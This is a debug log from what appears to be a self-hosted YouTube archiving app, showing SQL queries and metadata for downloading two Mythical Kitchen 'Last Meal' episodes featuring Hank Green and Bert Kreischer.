https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto" <> ..., "duration" => 2281, "filename" => "/downloads/Last Meals/2024-02-15 Hank Green Eats His Last Meal/Hank Green Eats His Last Meal [1PdM23qlYxU].mp4", "id" => "1PdM23qlYxU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1PdM23qlYxU", "playlist_index" => 11, "timestamp" => 1707994801, "title" => "Hank Green Eats His Last Meal", "upload_date" => "20240215"} 20:47:06.062 [debug] QUERY OK source="sources" db=0.3ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:06.063 [debug] QUERY OK source="sources" db=0.2ms idle=82.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:06.064 [debug] QUERY OK source="media_items" db=0.2ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-15 11:00:01Z], 1] 20:47:06.069 [debug] QUERY OK source="media_items" db=3.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Hank Green eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Hank's Last Meal Menu\n1:37 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n3:11 1st Course - Sweet Red Bean Buns & Avocado Milk Tea Boba\n5:12 How To Foster Curiosity\n6:18 The Best Part Of Having Cancer\n7:26 Staying Positive Through Diagnosis\n9:44 2nd Course - Catfish Po' Boy & Sazerac\n11:57 Life, Death, & Elf Spaghetti\n15:01 Dave Matthews Hater\n17:14 \"Science Is Happening In Me\"\n19:12 3rd Course - Fancy Corndog & Lotsa Layers Lasagna\n22:19 Predictions for 2050\n24:13 We Shouldn't Care About Everything\n27:10 4th Course - Milkshake, Cookies, Tea, & Salmon Candy\n30:25 Knees Are Wild\n31:13 Promoting Chemotherapy\n31:48 What Happens When You Die?\n33:26 Who's The One Person You'd Want To Share Your Last Meal With?\n34:01 What Song Do You Want Played At Your Funeral?\n34:07 What's Your Favorite Dave Matthews Song?\n34:38 What's Your Biggest Fear?\n34:52 Is Butt Legs?\n35:51 What's Your Greatest Regret?\n36:17 Are You Happy?\n36:42 Hank's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto" <> ..., "Hank Green Eats His Last Meal", "18723e34-3ec3-477a-8059-4e6b66f50c9b", "https://www.youtube.com/watch?v=1PdM23qlYxU", false, "1PdM23qlYxU", 2281, false, 11, "/downloads/Last Meals/2024-02-15 Hank Green Eats His Last Meal/Hank Green Eats His Last Meal [1PdM23qlYxU].mp4", false, false, 1, [], 0, ~U[2024-02-15 11:00:01Z], ~U[2026-03-28 00:47:06Z], ~U[2026-03-28 00:47:06Z], "Today, Hank Green eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Hank's Last Meal Menu\n1:37 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n3:11 1st Course - Sweet Red Bean Buns & Avocado Milk Tea Boba\n5:12 How To Foster Curiosity\n6:18 The Best Part Of Having Cancer\n7:26 Staying Positive Through Diagnosis\n9:44 2nd Course - Catfish Po' Boy & Sazerac\n11:57 Life, Death, & Elf Spaghetti\n15:01 Dave Matthews Hater\n17:14 \"Science Is Happening In Me\"\n19:12 3rd Course - Fancy Corndog & Lotsa Layers Lasagna\n22:19 Predictions for 2050\n24:13 We Shouldn't Care About Everything\n27:10 4th Course - Milkshake, Cookies, Tea, & Salmon Candy\n30:25 Knees Are Wild\n31:13 Promoting Chemotherapy\n31:48 What Happens When You Die?\n33:26 Who's The One Person You'd Want To Share Your Last Meal With?\n34:01 What Song Do You Want Played At Your Funeral?\n34:07 What's Your Favorite Dave Matthews Song?\n34:38 What's Your Biggest Fear?\n34:52 Is Butt Legs?\n35:51 What's Your Greatest Regret?\n36:17 Are You Happy?\n36:42 Hank's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/con (truncated) 20:47:06.070 [debug] QUERY OK source="sources" db=0.3ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:06.070 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:06.071 [debug] QUERY OK source="media_items" db=0.4ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 20:47:06.071 [info] Kicking off download for media item #11 (1PdM23qlYxU) 20:47:06.073 [debug] QUERY OK source="tasks" db=0.0ms idle=3.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [14, 11, ~U[2026-03-28 00:47:06Z], ~U[2026-03-28 00:47:06Z]] 20:47:06.073 [debug] Current batch of media processed. Will check again in 1000ms 20:47:07.074 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Bert Kreischer eats his last meal. \n\nCheck out more Bert at http://www.bertbertbert.com and see him at the https://www.netflixisajokefest.com/artists/bert-kreischer this May!\n\n0:00 Bert's Last Meal Menu\n2:04 Thinking About Death\n2:42 1st Course - Breakfast Sandwich, Bone Broth, & Scrapple\n5:18 Cooking For Roy Choi\n7:23 Kicking Creed Out Of His College Band\n10:01 Finding Joy In Sobriety & Drinking\n12:02 2nd Course - Picadillo, Publix Sub, & Cubano Sandwich\n14:49 Unhinged First Date At Buffalo Wild Wings\n18:02 Bert's Advice For College Students\n20:56 Open Invite To Ryan Reynolds\n22:13 Finding Bits For Stand Up\n24:13 3rd Course - SOS & Carbonara\n25:23 Facetiming Mom\n27:41 Bro Culture\n29:39 4th Course - Ribeye & Country Fried Steak\n32:21 The Afterlife Is A Surprise Birthday Party\n35:11 Legacy & Losing Friends\n38:57 Gameshow Pitch\n39:29 5th Course - Keto Key Lime Pie\n40:15 Lightning Round\n45:05 Bert's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_" <> ..., "duration" => 2759, "filename" => "/downloads/Last Meals/2024-03-14 Bert Kreischer Eats His Last Meal/Bert Kreischer Eats His Last Meal [palAzhniUBg].mp4", "id" => "palAzhniUBg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=palAzhniUBg", "playlist_index" => 12, "timestamp" => 1710410442, "title" => "Bert Kreischer Eats His Last Meal", "upload_date" => "20240314"} 20:47:07.074 [debug] QUERY OK source="sources" db=0.0ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:07.075 [debug] QUERY OK source="sources" db=0.0ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:07.075 [debug] QUERY OK source="media_items" db=0.0ms idle=1001.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-14 10:00:42Z], 1] 20:47:07.076 [debug] QUERY OK source="media_items" db=0.6ms idle=1001.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Bert Kreischer eats his last meal. \n\nCheck out more Bert at http://www.bertbertbert.com and see him at the https://www.netflixisajokefest.com/artists/bert-kreischer this May!\n\n0:00 Bert's Last Meal Menu\n2:04 Thinking About Death\n2:42 1st Course - Breakfast Sandwich, Bone Broth, & Scrapple\n5:18 Cooking For Roy Choi\n7:23 Kicking Creed Out Of His College Band\n10:01 Finding Joy In Sobriety & Drinking\n12:02 2nd Course - Picadillo, Publix Sub, & Cubano Sandwich\n14:49 Unhinged First Date At Buffalo Wild Wings\n18:02 Bert's Advice For College Students\n20:56 Open Invite To Ryan Reynolds\n22:13 Finding Bits For Stand Up\n24:13 3rd Course - SOS & Carbonara\n25:23 Facetiming Mom\n27:41 Bro Culture\n29:39 4th Course - Ribeye & Country Fried Steak\n32:21 The Afterlife Is A Surprise Birthday Party\n35:11 Legacy & Losing Friends\n38:57 Gameshow Pitch\n39:29 5th Course - Keto Key Lime Pie\n40:15 Lightning Round\n45:05 Bert's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_" <> ..., "Bert Kreischer Eats His Last Meal", "07ef3dee-8116-45f7-b5f7-717c33994934", "https://www.youtube.com/watch?v=palAzhniUBg", false, "palAzhniUBg", 2759, false, 12, "/downloads/Last Meals/2024-03-14 Bert Kreischer Eats His Last Meal/Bert Kreischer Eats His Last Meal [palAzhniUBg].mp4", false, false, 1, [], 0, ~U[2024-03-14 10:00:42Z], ~U[2026-03-28 00:47:07Z], ~U[2026-03-28 00:47:07Z], "Today, Bert Kreischer eats his last meal. \n\nCheck out more Bert at http://www.bertbertbert.com and see him at the https://www.netflixisajokefest.com/artists/bert-kreischer this May!\n\n0:00 Bert's Last Meal Menu\n2:04 Thinking About Death\n2:42 1st Course - Breakfast Sandwich, Bone Broth, & Scrapple\n5:18 Cooking For Roy Choi\n7:23 Kicking Creed Out Of His College Band\n10:01 Finding Joy In Sobriety & Drinking\n12:02 2nd Course - Picadillo, Publix Sub, & Cubano Sandwich\n14:49 Unhinged First Date At Buffalo Wild Wings\n18:02 Bert's Advice For College Students\n20:56 Open Invite To Ryan Reynolds\n22:13 Finding Bits For Stand Up\n24:13 3rd Course - SOS & Carbonara\n25:23 Facetiming Mom\n27:41 Bro Culture\n29:39 4th Course - Ribeye & Country Fried Steak\n32:21 The Afterlife Is A Surprise Birthday Party\n35:11 Legacy & Losing Friends\n38:57 Gameshow Pitch\n39:29 5th Course - Keto Key Lime Pie\n40:15 Lightning Round\n45:05 Bert's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythic (truncated) 20:47:07.076 [debug] QUERY OK source="sources" db=0.0ms 